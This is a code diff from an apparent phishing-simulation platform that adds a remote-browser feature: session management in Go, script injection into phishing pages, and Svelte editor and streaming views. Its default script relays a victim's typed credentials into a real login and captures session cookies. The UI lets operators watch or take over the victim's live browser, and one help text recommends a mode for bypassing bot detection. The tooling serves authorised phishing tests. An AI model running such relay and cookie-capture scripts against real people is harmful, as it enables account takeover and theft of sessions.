"github.com/phishingclub/phishingclub/model" + "github.com/phishingclub/phishingclub/repository" + "github.com/phishingclub/phishingclub/validate" + "gorm.io/gorm" +) + +// LiveSession is the minimal interface the service needs to manage session lifecycle. +// The controller's concrete session type implements this; the service never needs to +// know about browser pages or WebSocket connections. +type LiveSession interface { + GetCampaignID() uuid.UUID + Cancel() + IsKeepAlive() bool +} + +// RemoteBrowser manages saved remote browser scripts and tracks live sessions. +type RemoteBrowser struct { + Common + RemoteBrowserRepository *repository.RemoteBrowser + sessions sync.Map // key (crID or rbID string) → LiveSession +} + +// SwapSession atomically replaces the session for key, returning the previous one. +func (s *RemoteBrowser) SwapSession(key string, sess LiveSession) (LiveSession, bool) { + prev, had := s.sessions.Swap(key, sess) + if !had { + return nil, false + } + return prev.(LiveSession), true +} + +// StoreSession stores a session, overwriting any existing entry for key. +func (s *RemoteBrowser) StoreSession(key string, sess LiveSession) { + s.sessions.Store(key, sess) +} + +// LoadSession returns the session for key, if present. +func (s *RemoteBrowser) LoadSession(key string) (LiveSession, bool) { + val, ok := s.sessions.Load(key) + if !ok { + return nil, false + } + return val.(LiveSession), true +} + +// LoadAndDeleteSession atomically loads and removes the session for key. +func (s *RemoteBrowser) LoadAndDeleteSession(key string) (LiveSession, bool) { + val, loaded := s.sessions.LoadAndDelete(key) + if !loaded { + return nil, false + } + return val.(LiveSession), true +} + +// CompareAndDeleteSession removes the session for key only if it is still sess +// (pointer identity), so a newer session's cleanup never evicts its own entry. +func (s *RemoteBrowser) CompareAndDeleteSession(key string, sess LiveSession) { + s.sessions.CompareAndDelete(key, sess) +} + +// RangeSessions calls fn for every live session. Returning false stops iteration. +func (s *RemoteBrowser) RangeSessions(fn func(key string, sess LiveSession) bool) { + s.sessions.Range(func(k, v any) bool { + return fn(k.(string), v.(LiveSession)) + }) +} + +// TerminateByCampaignID cancels and removes all sessions belonging to campaignID. +// Called by service.Campaign on close/delete. +func (s *RemoteBrowser) TerminateByCampaignID(campaignID uuid.UUID) { + s.sessions.Range(func(key, value any) bool { + sess := value.(LiveSession) + if sess.GetCampaignID() == campaignID { + sess.Cancel() + s.sessions.CompareAndDelete(key, value) + } + return true + }) +} + +// Create saves a new remote browser script. +func (s *RemoteBrowser) Create( + ctx context.Context, + session *model.Session, + rb *model.RemoteBrowser, +) (*uuid.UUID, error) { + ae := NewAuditEvent("RemoteBrowser.Create", session) + isAuthorized, err := IsAuthorized(session, data.PERMISSION_ALLOW_GLOBAL) + if err != nil && !errors.Is(err, errs.ErrAuthorizationFailed) { + s.LogAuthError(err) + return nil, errs.Wrap(err) + } + if !isAuthorized { + s.AuditLogNotAuthorized(ae) + return nil, errs.ErrAuthorizationFailed + } + + var companyID *uuid.UUID + if cid, err := rb.CompanyID.Get(); err == nil { + companyID = &cid + } + + if err := rb.Validate(); err != nil { + s.Logger.Errorw("failed to validate remote browser", "error", err) + return nil, errs.Wrap(err) + } + + name := rb.Name.MustGet() + isOK, err := repository.CheckNameIsUnique(ctx, s.RemoteBrowserRepository.DB, "remote_browsers", name.String(), companyID, nil) + if err != nil { + s.Logger.Errorw("failed to check remote browser uniqueness", "error", err) + return nil, errs.Wrap(err) + } + if !isOK { + return nil, validate.WrapErrorWithField(errors.New("is not unique"), "name") + } + + id, err := s.RemoteBrowserRepository.Insert(ctx, rb) + if err != nil { + s.Logger.Errorw("failed to create remote browser", "error", err) + return nil, errs.Wrap(err) + } + ae.Details["id"] = id.String() + s.AuditLogAuthorized(ae) + return id, nil +} + +// GetAll returns all remote browsers for the given company. +func (s *RemoteBrowser) GetAll( + ctx context.Context, + session *model.Session, + companyID *uuid.UUID, + options *repository.RemoteBrowserOption, +) (*model.Result[model.RemoteBrowser], error) { + result := model.NewEmptyResult[model.RemoteBrowser]() + ae := NewAuditEvent("RemoteBrowser.GetAll", session) + isAuthorized, err := IsAuthorized(session, data.PERMISSION_ALLOW_GLOBAL) + if err != nil && !errors.Is(err, errs.ErrAuthorizationFailed) { + s.LogAuthError(err) + return result, errs.Wrap(err) + } + if !isAuthorized { + s.AuditLogNotAuthorized(ae) + return result, errs.ErrAuthorizationFailed + } + result, err = s.RemoteBrowserRepository.GetAll(ctx, companyID, options) + if err != nil { + s.Logger.Errorw("failed to get remote browsers", "error", err) + return result, errs.Wrap(err) + } + return result, nil +} + +// GetAllOverview returns lightweight overview rows. +func (s *RemoteBrowser) GetAllOverview( + companyID *uuid.UUID, + ctx context.Context, + session *model.Session, + options *repository.RemoteBrowserOption, +) (*model.Result[model.RemoteBrowserOverview], error) { + result := model.NewEmptyResult[model.RemoteBrowserOverview]() + ae := NewAuditEvent("RemoteBrowser.GetAllOverview", session) + isAuthorized, err := IsAuthorized(session, data.PERMISSION_ALLOW_GLOBAL) + if err != nil && !errors.Is(err, errs.ErrAuthorizationFailed) { + s.LogAuthError(err) + return result, errs.Wrap(err) + } + if !isAuthorized { + s.AuditLogNotAuthorized(ae) + return result, errs.ErrAuthorizationFailed + } + result, err = s.RemoteBrowserRepository.GetAllSubset(ctx, companyID, options) + if err != nil { + s.Logger.Errorw("failed to get remote browser overview", "error", err) + return result, errs.Wrap(err) + } + return result, nil +} + +// GetByID returns a single remote browser by ID. +func (s *RemoteBrowser) GetByID( + ctx context.Context, + session *model.Session, + id *uuid.UUID, + options *repository.RemoteBrowserOption, +) (*model.RemoteBrowser, error) { + ae := NewAuditEvent("RemoteBrowser.GetByID", session) + ae.Details["id"] = id.String() + isAuthorized, err := IsAuthorized(session, data.PERMISSION_ALLOW_GLOBAL) + if err != nil && !errors.Is(err, errs.ErrAuthorizationFailed) { + s.LogAuthError(err) + return nil, errs.Wrap(err) + } + if !isAuthorized { + s.AuditLogNotAuthorized(ae) + return nil, errs.ErrAuthorizationFailed + } + rb, err := s.RemoteBrowserRepository.GetByID(ctx, id, options) + if errors.Is(err, gorm.ErrRecordNotFound) { + return nil, errs.Wrap(err) + } + if err != nil { + s.Logger.Errorw("failed to get remote browser by ID", "error", err) + return nil, errs.Wrap(err) + } + return rb, nil +} + +// UpdateByID updates mutable fields on a remote browser. +func (s *RemoteBrowser) UpdateByID( + ctx context.Context, + session *model.Session, + id *uuid.UUID, + rb *model.RemoteBrowser, +) error { + ae := NewAuditEvent("RemoteBrowser.UpdateByID", session) + ae.Details["id"] = id.String() + isAuthorized, err := IsAuthorized(session, data.PERMISSION_ALLOW_GLOBAL) + if err != nil && !errors.Is(err, errs.ErrAuthorizationFailed) { + s.LogAuthError(err) + return err + } + if !isAuthorized { + s.AuditLogNotAuthorized(ae) + return errs.ErrAuthorizationFailed + } + + current, err := s.RemoteBrowserRepository.GetByID(ctx, id, &repository.RemoteBrowserOption{}) + if errors.Is(err, gorm.ErrRecordNotFound) { + return err + } + if err != nil { + s.Logger.Errorw("failed to get remote browser for update", "error", err) + return err + } + + if _, err := rb.Name.Get(); err == nil { + var companyID *uuid.UUID + if cid, err := current.CompanyID.Get(); err == nil { + companyID = &cid + } + name := rb.Name.MustGet() + isOK, err := repository.CheckNameIsUnique(ctx, s.RemoteBrowserRepository.DB, "remote_browsers", name.String(), companyID, id) + if err != nil { + s.Logger.Errorw("failed to check remote browser name uniqueness on update", "error", err) + return errs.Wrap(err) + } + if !isOK { + return validate.WrapErrorWithField(errors.New("is not unique"), "name") + } + } + + if rb.Config.IsSpecified() { + if cfg, err := rb.Config.Get(); err == nil { + if cfg.Mode != "" && cfg.Mode != "local" && cfg.Mode != "remote" { + return fmt.Errorf("config.mode must be 'local' or 'remote'") + } + if cfg.Mode == "remote" && cfg.Remote == "" { + return fmt.Errorf("config.remote is required when mode is 'remote'") + } + } + } + + if err := s.RemoteBrowserRepository.UpdateByID(ctx, id, rb); err != nil { + s.Logger.Errorw("failed to update remote browser", "error", err) + return errs.Wrap(err) + } + s.AuditLogAuthorized(ae) + return nil +} + +// DeleteByID removes a remote browser. +func (s *RemoteBrowser) DeleteByID( + ctx context.Context, + session *model.Session, + id *uuid.UUID, +) error { + ae := NewAuditEvent("RemoteBrowser.DeleteByID", session) + ae.Details["id"] = id.String() + isAuthorized, err := IsAuthorized(session, data.PERMISSION_ALLOW_GLOBAL) + if err != nil && !errors.Is(err, errs.ErrAuthorizationFailed) { + s.LogAuthError(err) + return err + } + if !isAuthorized { + s.AuditLogNotAuthorized(ae) + return errs.ErrAuthorizationFailed + } + if err := s.RemoteBrowserRepository.DeleteByID(ctx, id); err != nil { + s.Logger.Errorw("failed to delete remote browser", "error", err) + return errs.Wrap(err) + } + s.AuditLogAuthorized(ae) + return nil +} diff --git a/backend/service/templateService.go b/backend/service/templateService.go index 152216e..802b236 100644 --- a/backend/service/templateService.go +++ b/backend/service/templateService.go @@ -16,7 +16,9 @@ import ( "github.com/go-errors/errors" "github.com/google/uuid" + "github.com/phishingclub/phishingclub/embedded" "github.com/oapi-codegen/nullable" + "github.com/phishingclub/phishingclub/data" "github.com/phishingclub/phishingclub/database" "github.com/phishingclub/phishingclub/errs" "github.com/phishingclub/phishingclub/model" @@ -33,6 +35,8 @@ const trackingPixelTemplate = "{{.Tracker}}" type Template struct { Common RecipientRepository *repository.Recipient + OptionRepository *repository.Option + RemoteBrowserRepository *repository.RemoteBrowser MicrosoftDeviceCodeService *MicrosoftDeviceCode } @@ -448,6 +452,38 @@ func (t *Template) CreatePhishingPageWithCampaignAndRecipient( templateFuncs = t.TemplateFuncsWithCompany(ctx, companyID) } + // Add RemoteBrowserScript - injects a " + } + } + tmpl, err := template.New("page"). Funcs(templateFuncs). Parse(contentToRender) @@ -612,6 +648,19 @@ func (t *Template) newTemplateDataMapWithDenyURL( return data } +// remoteBrowserWSPath returns the seeded random path segment used for the +// victim-facing remote browser WebSocket endpoint. Falls back to "rbws" if +// the option is not yet seeded (e.g. during tests or first startup). +func (t *Template) remoteBrowserWSPath(ctx context.Context) string { + if t.OptionRepository == nil { + return "rbws" + } + if opt, err := t.OptionRepository.GetByKey(ctx, data.OptionKeyRemoteBrowserWSPath); err == nil { + return opt.Value.String() + } + return "rbws" +} + // TemplateFuncs returns template functions for templates func TemplateFuncs() template.FuncMap { return template.FuncMap{ @@ -656,6 +705,11 @@ func TemplateFuncs() template.FuncMap { "DeviceCodeCaptured": func(args ...string) (bool, error) { return false, nil }, + // RemoteBrowserScript is a no-op stub used during template validation; it is replaced with + // a live implementation that outputs a real WebSocket + +
+ + +
+
    + +
+
+
diff --git a/frontend/src/lib/components/remote-browser/RemoteBrowserEditor.svelte b/frontend/src/lib/components/remote-browser/RemoteBrowserEditor.svelte new file mode 100644 index 0000000..ee0f1ce --- /dev/null +++ b/frontend/src/lib/components/remote-browser/RemoteBrowserEditor.svelte @@ -0,0 +1,1414 @@ + + +
+ +
+
+ dispatch('change', getModel())} + placeholder="my-remote-browser">Name +
+
+ dispatch('change', getModel())} + placeholder="Optional description">Description +
+
+ + +
+ +
+
+ JavaScript + +
+
+
+
+ + +
+ + +
+ +
+ + +
+ + +
+ {#if activeTab === 'config'} +
+
+ +
+ + +
+ +

+ {#if cfgMode === 'local'} + Spawns an isolated Chrome process per session. + {:else} + Connect to a Chrome you launched yourself — real OS fingerprint, GPU, profile, and extensions. Best for bypassing bot detection. + {/if} +

+
+ + {#if cfgMode === 'remote'} + dispatch('change', getModel())} + placeholder="http://localhost:9222">Remote DevTools URL +

+ Start Chrome with --remote-debugging-port=9222 then enter the host:port or full URL here. +

+ {:else} + dispatch('change', getModel())} + optional={true} + placeholder="socks5://127.0.0.1:1080">Proxy +
+ +
+ dispatch('change', getModel())} + optional={true} + placeholder="en-US">Language +
+

+ Flags (one per line — --flag adds/overrides, !--flag removes) +

+ +
+ {/if} + + dispatch('change', getModel())} + placeholder="5">Timeout (minutes) + +
+ {:else} +
+ {#if isScriptDirty} +

Unsaved changes - save before running.

+ {/if} + +
+ {#if !isRunning} + + {:else} + + {/if} + {#if runLog.length > 0} + + {/if} + {#if streamSessionID} + + + {/if} +
+ + +
+ {#if runLog.length === 0} + No events yet. Click Run to execute the script. + {:else} + {#each runLog as entry} +
+ {#if entry.type === 'event'} + [{entry.time?.slice(11, 23)}] + emit + {entry.key} + = + {JSON.stringify(entry.value)} + {:else if entry.type === 'sent'} + [{entry.time?.slice(11, 23)}] + → {entry.event} + {#if entry.data !== null && entry.data !== undefined && entry.data !== ''} + data={JSON.stringify(entry.data)} + {/if} + {:else if entry.type === 'screenshot'} + [{entry.time?.slice(11, 23)}] + 📷 {entry.key || 'screenshot'} + {#if entry.url} + {entry.url} + {/if} +
+ + + {entry.key { + screenshotModalSrc = entry.value; + screenshotModalLabel = entry.key || 'screenshot'; + screenshotModalURL = entry.url || ''; + }} + /> +
+ {:else if entry.type === 'info'} + [{entry.time?.slice(11, 23)}] + ℹ info + {entry.message} + {:else if entry.type === 'submit'} + [{entry.time?.slice(11, 23)}] + ⬆ submitData +
{JSON.stringify(entry.value, null, 2)}
+ {:else if entry.type === 'capture'} + [{entry.time?.slice(11, 23)}] + ★ capture + {#if entry.value?.cookies} + · {entry.value.cookies.length} cookies + {/if} + {#if entry.value?.localStorage} + · {Object.keys(entry.value.localStorage).length} localStorage + {/if} + {#if entry.value?.sessionStorage} + · {Object.keys(entry.value.sessionStorage).length} sessionStorage + {/if} +
{JSON.stringify(entry.value, null, 2)}
+ {:else if entry.type === 'done'} + [{entry.time?.slice(11, 23)}] + ✓ done + {:else} + [{entry.time?.slice(11, 23)}] + {entry.message} + {#if entry.data !== undefined && entry.data !== null} + {JSON.stringify(entry.data)} + {/if} + {/if} +
+ {/each} + {/if} +
+ + + {#if isRunning} +
+

Inject event

+
+ { if (e.key === 'Enter') { e.preventDefault(); sendEvent(); } }} + /> + { if (e.key === 'Enter') { e.preventDefault(); sendEvent(); } }} + /> + +
+
+ {/if} + + {#if !id} +

+ Save the remote browser first to enable live test runs. +

+ {/if} +
+ {/if} +
+
+
+
+ + +{#if screenshotModalSrc} + + +
{ screenshotModalSrc = null; screenshotModalURL = ''; }} + > +
+
+
+ {screenshotModalLabel} + {#if screenshotModalURL} + {screenshotModalURL} + {/if} +
+ +
+ {screenshotModalLabel} +
+
+{/if} + + { + if (!ws || ws.readyState !== WebSocket.OPEN) return; + const { event, data } = e.detail; + ws.send(JSON.stringify({ event, data })); + runLog = [...runLog, { type: 'sent', event, data, time: now() }]; + }} +/> diff --git a/frontend/src/lib/components/remote-browser/RemoteBrowserStream.svelte b/frontend/src/lib/components/remote-browser/RemoteBrowserStream.svelte new file mode 100644 index 0000000..1781ba6 --- /dev/null +++ b/frontend/src/lib/components/remote-browser/RemoteBrowserStream.svelte @@ -0,0 +1,600 @@ + + + +
+ +
+ +
+ + Status: {status} + + {#if email} + {email} + {/if} + {#if status === 'Connected'} + {fps} fps + {/if} + +
+ + {#if tabs.length > 1} +
+ {#each tabs as tab (tab.targetID)} + + +
switchTab(tab.targetID)} + title={tab.url || 'New tab'} + > + {tabLabel(tab.url)} + +
+ {/each} +
+ {/if} + +
+ + + + +
{ if (controlMode) document.getElementById('rb-url-input')?.select(); }} + > + { urlBarFocused = true; }} + on:blur={() => { urlBarFocused = false; urlBarValue = currentURL; }} + on:keydown={(e) => { + if (e.key === 'Enter') { e.preventDefault(); navigateTo(urlBarValue); } + if (e.key === 'Escape') { e.preventDefault(); urlBarValue = currentURL; e.target.blur(); } + e.stopPropagation(); + }} + readonly={!controlMode} + class="flex-1 px-2.5 py-1 text-sm font-mono bg-transparent outline-none text-gray-800 dark:text-gray-200 {!controlMode ? 'cursor-default select-text' : ''}" + placeholder="about:blank" + /> +
+
+
+ + + +
+ + + {#if logPanelOpen} +
+
+ Script Log + +
+
+ {#if runLog.length === 0} + No events yet. + {:else} + {#each runLog as entry} +
+ {#if entry.type === 'event'} + [{entry.time?.slice(11, 23)}] + emit + {entry.key} + = + {JSON.stringify(entry.value)} + {:else if entry.type === 'sent'} + [{entry.time?.slice(11, 23)}] + → {entry.event} + {#if entry.data !== null && entry.data !== undefined && entry.data !== ''} + data={JSON.stringify(entry.data)} + {/if} + {:else if entry.type === 'screenshot'} + [{entry.time?.slice(11, 23)}] + 📷 {entry.key || 'screenshot'} + {#if entry.url} + {entry.url} + {/if} + {:else if entry.type === 'info'} + [{entry.time?.slice(11, 23)}] + ℹ info + {entry.message} + {:else if entry.type === 'submit'} + [{entry.time?.slice(11, 23)}] + ⬆ submitData +
{JSON.stringify(entry.value, null, 2)}
+ {:else if entry.type === 'capture'} + [{entry.time?.slice(11, 23)}] + ★ capture + {#if entry.value?.cookies} + · {entry.value.cookies.length} cookies + {/if} + {#if entry.value?.localStorage} + · {Object.keys(entry.value.localStorage).length} localStorage + {/if} + {:else if entry.type === 'done'} + [{entry.time?.slice(11, 23)}] + ✓ done + {:else} + [{entry.time?.slice(11, 23)}] + {entry.message} + {#if entry.data !== undefined && entry.data !== null} + {JSON.stringify(entry.data)} + {/if} + {/if} +
+ {/each} + {/if} +
+ + {#if isRunning} +
+ { if (e.key === 'Enter') { e.preventDefault(); sendInject(); } e.stopPropagation(); }} + /> + { if (e.key === 'Enter') { e.preventDefault(); sendInject(); } e.stopPropagation(); }} + /> + +
+ {/if} +
+ {/if} +
+ + {#if controlMode} +

+ Mouse and keyboard are captured while this modal is open. +

+ {/if} +
+
diff --git a/frontend/src/lib/components/table/TableDropDownEllipsis.svelte b/frontend/src/lib/components/table/TableDropDownEllipsis.svelte index 5428dd9..a29d192 100644 --- a/frontend/src/lib/components/table/TableDropDownEllipsis.svelte +++ b/frontend/src/lib/components/table/TableDropDownEllipsis.svelte @@ -26,54 +26,34 @@ activeFormElement.set(dropdownId); // set this as active, closing others const viewportHeight = window.innerHeight; - const buffer = 20; // extra space to ensure some padding from viewport edges - const minHeight = 64; // minimum dropdown height - const maxHeight = 400; // maximum dropdown height + const viewportWidth = window.innerWidth; + const buffer = 20; + const minHeight = 64; + const maxHeight = 400; + const gap = 8; - let clickViewportY, pageX, pageY; + const buttonRect = buttonRef.getBoundingClientRect(); - // handle both mouse and keyboard events - if (e.clientY !== undefined && e.pageX !== undefined) { - // mouse event - clickViewportY = e.clientY; - pageX = e.pageX; - pageY = e.pageY; - } else { - // keyboard event - use button position - const buttonRect = buttonRef.getBoundingClientRect(); - clickViewportY = buttonRect.top; - pageX = buttonRect.left + window.scrollX; - pageY = buttonRect.top + window.scrollY; - } - - // calculate available space above and below - const spaceAbove = clickViewportY - buffer; - const spaceBelow = viewportHeight - clickViewportY - buffer; - - // choose position based on available space, with preference for below + const spaceAbove = buttonRect.top - buffer; + const spaceBelow = viewportHeight - buttonRect.bottom - buffer; const shouldShowAbove = spaceBelow < minHeight && spaceAbove > spaceBelow; const availableSpace = shouldShowAbove ? spaceAbove : spaceBelow; - - // calculate optimal height within bounds const optimalHeight = Math.min(Math.max(availableSpace, minHeight), maxHeight); - // find position - const gap = 8; // small gap between menu and cursor/button - menuX = pageX - 256; + const menuWidth = 256; + const spaceOnRight = viewportWidth - buttonRect.right - buffer; + menuX = spaceOnRight >= menuWidth ? buttonRect.left : buttonRect.right - menuWidth; + menuX = Math.max(buffer, Math.min(menuX, viewportWidth - menuWidth - buffer)); if (shouldShowAbove) { - // calculate actual menu height by temporarily showing it menuRef.style.visibility = 'hidden'; menuRef.style.display = 'block'; const actualMenuHeight = menuRef.scrollHeight; menuRef.style.display = ''; menuRef.style.visibility = ''; - - // position above by moving up by the actual menu height - menuY = pageY - actualMenuHeight - gap; + menuY = buttonRect.top - actualMenuHeight - gap; } else { - // for below positioning, use original click/button position - menuY = pageY + gap; + menuY = buttonRect.bottom + gap; } menuRef.style = `left: ${menuX}px; top: ${menuY}px; max-height: ${optimalHeight}px`; @@ -160,7 +140,7 @@
    diff --git a/frontend/src/lib/components/table/TableHeadCell.svelte b/frontend/src/lib/components/table/TableHeadCell.svelte index f397e77..855340c 100644 --- a/frontend/src/lib/components/table/TableHeadCell.svelte +++ b/frontend/src/lib/components/table/TableHeadCell.svelte @@ -55,7 +55,7 @@ class="font-bold text-slate-600 dark:text-gray-200 text-{alignText} flex transition-colors duration-200" > {#if !isGhost} - {title.length ? title : column} + {title?.length ? title : column} {:else} {/if} diff --git a/frontend/src/lib/components/table/TableHeader.svelte b/frontend/src/lib/components/table/TableHeader.svelte index 6fefa27..bffda6c 100644 --- a/frontend/src/lib/components/table/TableHeader.svelte +++ b/frontend/src/lib/components/table/TableHeader.svelte @@ -26,7 +26,7 @@ - {#each columns as column, i (i)} + {#each columns as column, i (typeof column === 'object' ? column.column : column)} {#if typeof column === 'object'} } */ + let liveSessions = new Map(); + let liveSessionPollInterval = null; + let streamModalVisible = false; + let streamCRID = ''; + let streamControlMode = false; + let streamEmail = ''; + let isTerminateSessionAlertVisible = false; + let terminateSessionCRID = ''; + // hooks onMount(() => { const context = appStateService.getContext(); @@ -186,14 +199,55 @@ await refreshCampaignEventsSince(); })(); + // poll live sessions every 5 seconds + liveSessionPollInterval = setInterval(refreshLiveSessions, 5000); + refreshLiveSessions(); + // cleanup resource context when leaving page return () => { recipientTableUrlParams.unsubscribe(); eventsTableURLParams.unsubscribe(); resourceContext.clear(); + clearInterval(liveSessionPollInterval); }; }); + const refreshLiveSessions = async () => { + try { + const campaignID = $page.params.id; + const res = await api.remoteBrowser.getLiveSessions(campaignID); + if (!res.success) return; + const map = new Map(); + for (const s of res.data ?? []) { + map.set(s.crID, s); + } + liveSessions = map; + } catch { + // network error during poll — silently skip this tick + } + }; + + const openStreamModal = (crID, control, recipientEmail = '') => { + streamCRID = crID; + streamControlMode = control; + streamEmail = recipientEmail; + streamModalVisible = true; + }; + + const openTerminateAlert = (crID) => { + terminateSessionCRID = crID; + isTerminateSessionAlertVisible = true; + }; + + const doTerminateSession = async () => { + const res = await api.remoteBrowser.closeLiveSession(terminateSessionCRID); + if (!res.success) { + return { success: false, error: 'Failed to terminate session' }; + } + await refreshLiveSessions(); + return { success: true }; + }; + const refresh = async (showLoading = true) => { if (showLoading) { showIsLoading(); @@ -1947,6 +2001,7 @@ Recipients overview 0 ? [{ column: 'Remote', size: 'small' }] : []), { column: 'First name', size: 'small' }, { column: 'Last name', size: 'small' }, { column: 'Email', size: 'large' }, @@ -1972,6 +2027,29 @@ > {#each campaignRecipients as recp (recp.id)} + {#if liveSessions.size > 0} + + {#if liveSessions.has(recp.id)} + {@const ls = liveSessions.get(recp.id)} + + {#if ls.canStream} + openStreamModal(recp.id, false, recp.recipient?.email)} + /> + openStreamModal(recp.id, true, recp.recipient?.email)} + /> + {/if} + openTerminateAlert(recp.id)} + /> + + {/if} + + {/if} {#if recp?.anonymizedID} @@ -2104,6 +2182,23 @@ : ''} on:click={() => onClickPreviewEmail(recp.id)} /> + {#if liveSessions.has(recp.id)} + {@const ls = liveSessions.get(recp.id)} + {#if ls.canStream} + openStreamModal(recp.id, false, recp.recipient?.email)} + /> + openStreamModal(recp.id, true, recp.recipient?.email)} + /> + {/if} + openTerminateAlert(recp.id)} + /> + {/if} {/if} @@ -2112,6 +2207,23 @@
    {/if} {/if} + { streamModalVisible = false; refreshLiveSessions(); }} + /> + + + Are you sure you want to terminate this live session? The victim's browser will be closed. + +
    + import { page } from '$app/stores'; + import { api } from '$lib/api/apiProxy.js'; + import { onMount } from 'svelte'; + import { newTableURLParams } from '$lib/service/tableURLParams.js'; + import Headline from '$lib/components/Headline.svelte'; + import TableRow from '$lib/components/table/TableRow.svelte'; + import TableCell from '$lib/components/table/TableCell.svelte'; + import TableUpdateButton from '$lib/components/table/TableUpdateButton.svelte'; + import TableDeleteButton from '$lib/components/table/TableDeleteButton2.svelte'; + import TableCopyButton from '$lib/components/table/TableCopyButton.svelte'; + import FormError from '$lib/components/FormError.svelte'; + import { addToast } from '$lib/store/toast'; + import { AppStateService } from '$lib/service/appState'; + import TableCellEmpty from '$lib/components/table/TableCellEmpty.svelte'; + import TableCellAction from '$lib/components/table/TableCellAction.svelte'; + import Modal from '$lib/components/Modal.svelte'; + import Table from '$lib/components/table/Table.svelte'; + import HeadTitle from '$lib/components/HeadTitle.svelte'; + import { getModalText } from '$lib/utils/common'; + import DeleteAlert from '$lib/components/modal/DeleteAlert.svelte'; + import AutoRefresh from '$lib/components/AutoRefresh.svelte'; + import BigButton from '$lib/components/BigButton.svelte'; + import TableDropDownEllipsis from '$lib/components/table/TableDropDownEllipsis.svelte'; + import FormGrid from '$lib/components/FormGrid.svelte'; + import FormFooter from '$lib/components/FormFooter.svelte'; + import RemoteBrowserEditor from '$lib/components/remote-browser/RemoteBrowserEditor.svelte'; + + const appStateService = AppStateService.instance; + + // form state + let formValues = { + id: null, + name: '', + description: '', + script: defaultScript(), + config: JSON.stringify( + { mode: 'local', remote: '', proxy: '', headless: true, timeout: 300000 }, + null, + 2 + ) + }; + let isSubmitting = false; + let formError = ''; + let savedScript = defaultScript(); + + // table state + const tableURLParams = newTableURLParams(); + let contextCompanyID = null; + let items = []; + let hasNextPage = true; + let isTableLoading = false; + let featureDisabled = false; + + // modal state + let isModalVisible = false; + let modalMode = null; + let modalText = ''; + + // delete state + let isDeleteAlertVisible = false; + let deleteValues = { id: null, name: null }; + + $: modalText = getModalText('Remote Browser', modalMode); + + function defaultScript() { + return `// The phishing page sends events here via rb.send("event", data). +// This script replays them into the real site and emits events back. + +var s = newSession(); +s.navigate("https://example.com/login"); +s.waitVisible("input[type='email']"); + +// wait for victim to submit their email on the phishing page +var u = waitForEvent("username"); +s.sendKeys("input[type='email']", u.username); +s.click("button[type='submit']"); + +// ask the phishing page to show a password field +s.waitVisible("input[type='password']"); +emit("need_password", {}); + +var p = waitForEvent("password"); +s.sendKeys("input[type='password']", p.password); +s.click("button[type='submit']"); + +// grab session cookies once we land inside the app +s.waitVisible("#dashboard"); +s.capture({ + domains: ["example.com"], + cookieNames: ["session", "auth_token"] +}); +emit("captured", { status: "success" }); + +s.keepAlive(); +s.close(); +`; + } + + onMount(() => { + const context = appStateService.getContext(); + if (context) contextCompanyID = context.companyID; + + refreshItems(); + tableURLParams.onChange(refreshItems); + + (async () => { + const editID = $page.url.searchParams.get('edit'); + if (editID) await openUpdateModal(editID); + })(); + + return () => tableURLParams.unsubscribe(); + }); + + const refreshItems = async (showLoading = true) => { + try { + if (showLoading) isTableLoading = true; + const res = await api.remoteBrowser.getAllSubset(tableURLParams, contextCompanyID); + if (res.statusCode === 404) { + featureDisabled = true; + return; + } + if (res.success) { + items = res.data.rows ?? res.data ?? []; + hasNextPage = res.data.hasNextPage ?? false; + } + } catch (e) { + addToast('Failed to load Remote Browsers', 'Error'); + console.error(e); + } finally { + if (showLoading) isTableLoading = false; + } + }; + + const openCreateModal = () => { + formValues = { + id: null, + name: '', + description: '', + script: defaultScript(), + config: JSON.stringify( + { mode: 'local', remote: '', proxy: '', headless: true, timeout: 300000 }, + null, + 2 + ) + }; + savedScript = defaultScript(); + formError = ''; + modalMode = 'create'; + isModalVisible = true; + }; + + const openUpdateModal = async (id) => { + try { + const res = await api.remoteBrowser.getByID(id); + if (!res.success) throw res.error; + const rb = res.data; + formValues = { + id: rb.id, + name: rb.name || '', + description: rb.description || '', + script: rb.script || defaultScript(), + config: rb.config + ? JSON.stringify(rb.config, null, 2) + : JSON.stringify({ mode: 'local', headless: true, timeout: 300000 }, null, 2) + }; + savedScript = formValues.script; + formError = ''; + modalMode = 'update'; + isModalVisible = true; + } catch (e) { + addToast('Failed to load Remote Browser', 'Error'); + console.error(e); + } + }; + + const closeModal = () => { + isModalVisible = false; + formError = ''; + }; + + const onEditorChange = (event) => { + const { name, description, script, config } = event.detail; + formValues = { ...formValues, name, description, script, config }; + }; + + const openCopyModal = async (id) => { + try { + const res = await api.remoteBrowser.getByID(id); + if (!res.success) throw res.error; + const rb = res.data; + formValues = { + id: null, + name: rb.name ? `${rb.name} (copy)` : '', + description: rb.description || '', + script: rb.script || defaultScript(), + config: rb.config + ? JSON.stringify(rb.config, null, 2) + : JSON.stringify({ mode: 'local', headless: true, timeout: 300000 }, null, 2) + }; + savedScript = formValues.script; + formError = ''; + modalMode = 'copy'; + isModalVisible = true; + } catch (e) { + addToast('Failed to load Remote Browser', 'Error'); + console.error(e); + } + }; + + const onSubmit = async (event) => { + isSubmitting = true; + try { + const saveOnly = event?.detail?.saveOnly || false; + if (modalMode === 'create' || modalMode === 'copy') { + await create(); + } else { + await update(saveOnly); + } + } finally { + isSubmitting = false; + } + }; + + const create = async () => { + try { + const res = await api.remoteBrowser.create({ + name: formValues.name, + description: formValues.description, + script: formValues.script, + config: JSON.parse(formValues.config), + companyID: contextCompanyID + }); + if (!res.success) { + formError = res.error; + return; + } + formError = ''; + addToast('Remote Browser created', 'Success'); + // Stay in the modal - switch to update mode so the user can run/test immediately. + formValues = { ...formValues, id: res.data.id }; + savedScript = formValues.script; + modalMode = 'update'; + refreshItems(); + } catch (e) { + addToast('Failed to create Remote Browser', 'Error'); + console.error(e); + } + }; + + const update = async (saveOnly = false) => { + try { + const res = await api.remoteBrowser.update(formValues.id, { + name: formValues.name, + description: formValues.description, + script: formValues.script, + config: JSON.parse(formValues.config) + }); + if (!res.success) { + formError = res.error; + return; + } + formError = ''; + savedScript = formValues.script; + addToast(saveOnly ? 'Saved' : 'Remote Browser updated', 'Success'); + if (!saveOnly) { + closeModal(); + refreshItems(); + } + } catch (e) { + addToast(saveOnly ? 'Failed to save' : 'Failed to update Remote Browser', 'Error'); + console.error(e); + } + }; + + const onClickDelete = async (id) => { + const res = await api.remoteBrowser.delete(id); + if (res.success) { + refreshItems(); + return res; + } + throw res.error; + }; + + + + +
    +
    +
    + Remote Browsers + Experimental +
    + refreshItems(false)} /> +
    + + {#if featureDisabled} +
    +

    Remote Browser is not enabled

    +

    + This feature is disabled by default for security reasons. When enabled, the server runs a + browser under the application process. Any operator with access to the script editor can + execute arbitrary commands on the host. +

    +

